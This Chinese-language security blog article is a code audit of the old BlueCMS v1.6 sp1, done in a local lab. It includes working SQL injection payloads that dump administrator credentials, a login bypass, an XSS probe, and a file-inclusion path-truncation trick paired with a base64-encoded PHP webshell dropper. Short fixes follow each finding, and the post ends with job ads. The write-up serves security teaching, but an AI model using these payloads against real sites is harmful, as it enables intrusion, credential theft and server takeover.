bluecms_v1.6 sp1 代码审计

  • A+
所属分类:安全文章

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

还原漏洞环境

为了追求最大的还原度,我搭建了本地的环境,来模拟这些测试。
我使用的是phpstudy集成系统,直接文件放进去就开始搭建。

127.0.0.1/bluecms/bluecms_v1.6_sp1/uploads/install/

这个是网站的安装,一路填好就ok了
创建完之后

bluecms_v1.6 sp1 代码审计

退回主界面:

127.0.0.1/bluecms/bluecms_v1.6_sp1/uploads/
可以打开数据库查看是否信息正确
然后因为这个cms的原因,验证码是一直报错的,请使用Seay审计搜索删除所有包括safecode的语句(一个不要留,不然报错)
删除后注册页面是没有验证码验证的,可以直接注册成功并写入数据库

bluecms_v1.6 sp1 代码审计

简单列出他的一些功能

bluecms_v1.6 sp1 代码审计

No.2

邮箱注册xss漏洞 + sql宽字节注入漏洞

首先进去先用自己的一些方法看能不能找到一些漏洞(毕竟是2010年的东西了)
进去之后先注册一个账户
但是发现一些有趣的地方,在邮箱位置好像是随便输入的
那我们先在邮箱来一个 xss试一下

[email protected]<script>alert(1)</script>

bluecms_v1.6 sp1 代码审计

不出所料,这边一开始就有了一个xss漏洞
邮箱位置的代码我们看一下

elseif($act == 'do_reg'){

    $user_name =!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';

    $pwd       = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';

    $pwd1    = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';

    $email     = !empty($_POST['email']) ? trim($_POST['email']) : '';

    $from = !empty($from) ? base64_decode($from) : 'user.php';


    if(strlen($user_name) < 4 || strlen($user_name) > 16){

        showmsg('用户名字符长度不符');

    }

    if(strlen($pwd) < 6){

        showmsg('密码不能少于6个字符');

    }

    if($pwd != $pwd1){

        showmsg('两次输入密码不一致');

    }

    if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){

        showmsg('该用户名已存在');

    }

    if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){

        showmsg('该用户名已存在');

    }

    $sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

这边对邮箱这边没有什么过滤 只是在另外的地方限制了格式 [email protected] 的包含格式

既然xss是可以执行的,并插入数据库中,那也就代表这个完全没有过滤,那我们尝试注入

' or updatexml(1,concat(0x7e,(SELECT database())),1),1,1)#

不对的是,它成功执行了,并注册了一个账户
那也就代表着这个引号变成了 ' 这个样子
我们尝试使用GBK编码特有的宽字节注入,%df'

%df' or updatexml(1,concat(0x7e,(SELECT database())),1),1,1)#

成功报错了,并且非常完善的告诉了我们是一条insert语句

bluecms_v1.6 sp1 代码审计

那我们闭合语句再重新插入一条含有查询的语句

%df',1,1),(100,0x61646d696e313233,md5(123456),(select database()),1,1)#

bluecms_v1.6 sp1 代码审计

成功插入另一个用户,登陆插入用户邮箱位置含有了想要的数据(新语句的用户名没有用户名相同限制,甚至可以为管理员用户名密码)
进一步得到管理员密码

%df',1,1),(101,0x61646d696e313233,md5(123456),(select group_concat(admin_name,0x5e,pwd,0x5e,email) from blue.blue_admin),1,1)#

bluecms_v1.6 sp1 代码审计

修复方式

限制邮箱长度,过滤邮箱输入里的非法字符,传输过程加密,不输出报错内容

No.3

登陆sql注入

登陆时抓包,查看文件传参位置

bluecms_v1.6 sp1 代码审计

来到这个页面的代码看到

$w = login($user_name, $pwd);

追踪login函数看到了这里

function login($user_name,$pwd){

    global $db;

    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");

    if($row['num']==0){

        $result = 0;

    }else{

        $sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";

        $user_num = $db->getone($sql);

        if($user_num['num']){

            $result = 1;

        }else $result = -1;

    }

    return $result;

}

完蛋,啥过滤都没有,闭合括号,万能密码登陆

&user_name=1231231&pwd=%df') or 1=1# &x=30&y=14

成功登陆

bluecms_v1.6 sp1 代码审计

既然能这样登陆,是不是也说明了可以sql注入呢,尝试注入试试(报错注入好像有些限制,报错注入没办法)
那就布尔类型注入咯

&user_name=1231231&pwd=%df') or length(database())=4# &x=30&y=14

过程有些多,不详细写了

修复方法

过滤过滤,引号保护

No.4

ad_js.php 页面sql注入

使用seay扫一下源码

bluecms_v1.6 sp1 代码审计

发现了在ad_js.php页面中有这样两条语句

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

$ad_id没有使用单引号双引号包括所以addslashes()函数不起作用
getone()方法位于/include/mysql.class.php第61行,作用是执行SQL语句并输出

function getone($sql, $type=MYSQL_ASSOC){
       $query = $this->query($sql,$this->linkid);
       $row = mysql_fetch_array($query, $type);
       return $row;
}

那这边$ad_id只是用trim()函数去除首尾的空格,SQL注入漏洞确定存在了
直接抓包union注入试试

bluecms_v1.6 sp1 代码审计

这边数据库居然报错了,那我们就可以select 1,2·····--+尝试把列打出来

bluecms_v1.6 sp1 代码审计

有报错,有回显,无过滤,union注入,注入成功
我们来获取数据库的敏感信息

bluecms_v1.6 sp1 代码审计

表名up,在取blue_admin的数据

bluecms_v1.6 sp1 代码审计

得到了管理员的账号密码了,拿去md5解密一下成功dump掉数据库

修复方式

把那一条有漏洞的语句改为

$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';

因为trim()的只是去掉的头尾的空格,而且这条语句没有任何单引号,双引号保护,直接就可以代入查询并且带有报错和回显
修改后再尝试注入时,就没有办法这样注入了
函数intval()--> 获取变量的整数值

No.5

文件包含漏洞

我们函数代码审计,发现在user.php中有include的位置

elseif ($act == 'pay'){
    include 'data/pay.cache.php';
    $price = $_POST['price'];
    $id = $_POST['id'];
    $name = $_POST['name'];
    if (empty($_POST['pay'])) {
        showmsg('对不起,您没有选择支付方式');
    }
    include 'include/payment/'.$_POST['pay']."/index.php";
}

这个地方pay是没有过滤的,可以用截断来利用
然后我们先在网站根目录留一个1.txt,内容写:

<?php phpinfo();?>

然后尝试拼接。

通过../跳转到上层目录,但是我们发现这个语句后面有一个index.php的拼接。那该怎么办呢?在这里我们可以尝试一个字符串截断的方法(Windows的路径不能超过256个字符)。

那么我们是不是可以尝试在传参的后面加点进行阶段,因为点最后会被windows给处理掉,但是填充了点之后,只会保留包含前面的1.txt,在传参后的index.php因为路径超过256个字符后的东西都会被舍弃,于是乎我们直接传参后加256个点就可以截断了。

Payload:    

pay=../../1.txt................................................................................................................................................................................................................................................................

bluecms_v1.6 sp1 代码审计

发现是有文件包含漏洞的
那就直接在个人资料那上传一个图片马就ok了

需要编码进行绕过<?php @fputs(fopen(base64_decode('bXVtYS5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ayddKTs/Pg=='));?>

文件名 admin.php 密码 wk

这样我们在使用刚刚那个地方包含这个文件,就会在目录下创建一个admin.php文件,并可以直接蚁剑连接

修复方式

还是一样,对pay这个地方必须要过滤
图片不显示具体路径,并二次渲染

No.6

留言板注入 comment.php

查看到一个源代码

function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP');
    } 

    elseif(getenv('HTTP_X_FORWARDED_FOR')) 

    {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED'))
    {
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

有意思的地方是他依旧什么都不过滤,查一下哪里用到了这个函数

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

有这样一条查询语句
那注入方式就很清楚了,既然对ip那不过滤,那我们直接注入闭合就行了

X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

No.7

总结

其实还有很多漏洞,大大小小的都有
这几个是对网站威胁比较大的,sql xss 文件包含 webshell 都有
2010年的时候 网络安全还没有现在这么普及,这些漏洞在现在看来挺轻松的,在当时可能并不是这么简单能webshell的
能在黑盒测试中完成的有登陆页面注入和邮箱xss+sql注入
而白盒测试能发现的漏洞就更多了




招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。


简历投递至 [email protected]


设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]


岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]

专注渗透测试技术

全球最新网络攻击技术

END

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: